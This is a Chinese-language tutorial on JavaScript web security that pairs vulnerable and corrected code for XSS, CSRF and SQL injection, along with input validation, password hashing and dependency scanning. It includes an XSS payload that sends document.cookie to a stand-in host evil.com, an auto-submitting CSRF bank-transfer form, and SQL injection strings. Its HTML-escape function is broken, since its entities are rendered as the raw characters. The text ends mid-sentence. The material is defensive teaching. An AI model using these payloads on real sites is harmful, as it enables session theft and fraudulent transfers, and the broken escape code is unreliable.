JavaScript 安全最佳实践
JavaScript 安全最佳实践
安全是 JavaScript 开发的重要考虑因素。在 Web 世界里,你的代码运行在完全不可信的环境——用户的浏览器中,任何人都能打开开发者工具查看、修改前端逻辑,能构造任意请求发给你的服务器。所以安全的第一原则是:永远不要信任来自客户端的任何数据。 下面系统讲解常见威胁、原理、防护措施和实战代码。
为什么安全不可忽视
一次安全事故的代价远超想象。可以把 Web 应用比作一栋楼:XSS 是有人在楼里贴了带毒的告示(脚本),CSRF 是有人冒用你的门禁卡(身份)开门,SQL 注入是有人撬开了保险库(数据库)。真实数据触目惊心:
安全不是上线前的一次性检查,而是贯穿开发全流程的持续工程实践。
常见安全问题
XSS(跨站脚本攻击):
CSRF(跨站请求伪造):
SQL 注入:
敏感数据暴露:
依赖漏洞:
常见威胁速查
| 威胁 | 攻击目标 | 核心成因 | 主要防护 |
| --- | --- | --- | --- |
| XSS | 用户浏览器 | 未转义的用户输入被当作代码执行 | 输出编码、CSP、框架自动转义 |
| CSRF | 用户身份 | 浏览器自动携带 Cookie | CSRF Token、SameSite Cookie |
| SQL 注入 | 数据库 | 拼接 SQL 语句 | 参数化查询、ORM |
| 敏感数据暴露 | 密钥/隐私 | 前端存密钥、明文传输 | 后端保管、HTTPS、加密 |
| 依赖漏洞 | 整个应用 | 引入有漏洞的包 | npm audit、及时更新 |
XSS 攻击原理与防护
XSS 的本质是:应用把用户提供的数据当作 HTML/JavaScript 代码执行了。 看一个典型的存储型 XSS:
// ❌ 危险:直接把用户输入拼进 innerHTML
const comment = getUserComment(); // 用户输入
document.getElementById('list').innerHTML += `<div>${comment}</div>`;
// 如果用户输入的是:
// <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
// 那么图片加载失败会触发 onerror,把当前用户的 Cookie 发到攻击者服务器防护措施:
// ✅ 安全:用 textContent,浏览器不会把内容当 HTML 解析
const div = document.createElement('div');
div.textContent = comment; // <img ...> 会被当作纯文本显示
document.getElementById('list').appendChild(div);
// ✅ 若确实需要渲染富文本,用成熟的净化库 DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml); // 移除危险标签和属性
// ✅ 手动 HTML 转义函数(了解原理)
function escapeHtml(str) {
return str.replace(/[&<>"']/g, ch => ({
'&': '&', '<': '<', '>': '>',
'"': '"', "'": '''
}[ch]));
}CSP(内容安全策略): 通过 HTTP 响应头告诉浏览器"只允许从哪些来源加载脚本",即使被注入了脚本也无法执行。
// 服务端设置响应头(Express 示例)
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"
);
// 'self' 表示只允许同源脚本,内联脚本和外部恶意脚本都会被拦截CSRF 攻击原理与防护
CSRF 利用的是"浏览器会自动带上目标站点的 Cookie"。假设你登录了银行网站,攻击者诱导你访问一个恶意页面,页面里藏着:
<!-- 恶意网站上的隐藏表单,你一访问就自动提交,浏览器会带上银行的 Cookie -->
<form action="https://bank.com/transfer" method="POST" id="evil">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('evil').submit();</script>防护措施:
// ✅ SameSite Cookie:Strict 完全禁止跨站携带,Lax 只允许安全导航携带
res.cookie('session', token, {
httpOnly: true, // JS 无法读取,防 XSS 窃取
secure: true, // 只在 HTTPS 下传输
sameSite: 'strict' // 防 CSRF
});
// ✅ CSRF Token 校验(服务端中间件思路)
function verifyCsrf(req, res, next) {
const tokenFromHeader = req.headers['x-csrf-token'];
const tokenFromSession = req.session.csrfToken;
if (!tokenFromHeader || tokenFromHeader !== tokenFromSession) {
return res.status(403).json({ error: 'CSRF 校验失败' });
}
next();
}SQL 注入原理与防护
// ❌ 危险:拼接 SQL。若 username 传入 admin' --,密码校验被注释掉
const query = `SELECT * FROM users WHERE name = '${username}' AND pwd = '${pwd}'`;
db.query(query);
// 攻击输入 username = "' OR '1'='1" 可能返回所有用户
// ✅ 安全:参数化查询(预编译),参数永远被当作数据而非代码
db.query('SELECT * FROM users WHERE name = ? AND pwd = ?', [username, pwd]);
// ✅ 使用 ORM(如 Prisma / Sequelize),底层自动参数化
const user = await prisma.user.findFirst({
where: { name: username, pwd: pwd }
});防护要点: 使用参数化查询、避免拼接 SQL、使用成熟 ORM、遵循数据库账号最小权限原则。
安全编码实践
输入验证:
// ✅ 用 zod 做服务端输入校验
import { z } from 'zod';
const schema = z.object({
email: z.string().email(),
age: z.number().int().min(0).max(150),
});
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ error: '输入不合法' });
}输出编码: 对输出进行上下文相关的编码(HTML、URL、JS、CSS 各不相同),避免直接拼接 HTML。
密码处理:
// ✅ bcrypt 哈希密码,salt rounds 越高越慢越安全(通常 10 到 12)
import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(plainPassword, 12); // 存 hash,不存明文
const ok = await bcrypt.compare(inputPassword, hash); // 登录校验会话管理:
错误处理:
// ✅ 对外脱敏,对内详记
app.use((err, req, res, next) => {
console.error('内部错误:', err.stack); // 记到日志系统
res.status(500).json({ error: '服务器内部错误' }); // 不暴露细节
});依赖与供应链安全
现代项目 90% 以上代码来自 node_modules,一个恶意或有漏洞的包就能危及整个应用(如著名的 event-stream 事件)。
# 扫描依赖已知漏洞
npm audit
npm audit fix # 自动修复可升级的漏洞
# 锁定依赖版本,保证可复现构建
# 提交 package-lock.json / pnpm-lock.yaml 到版本库依赖安全要点: 定期更新依赖、用 `npm audit` / Snyk / Dependabot 持续扫描、审查新引入的包、启用 lockfile、对关键依赖固定版本。
真实案例复盘
案例一(存储型 XSS): 某社区论坛允许富文本评论,直接把用户 HTML 存库并渲染。攻击者发布含 `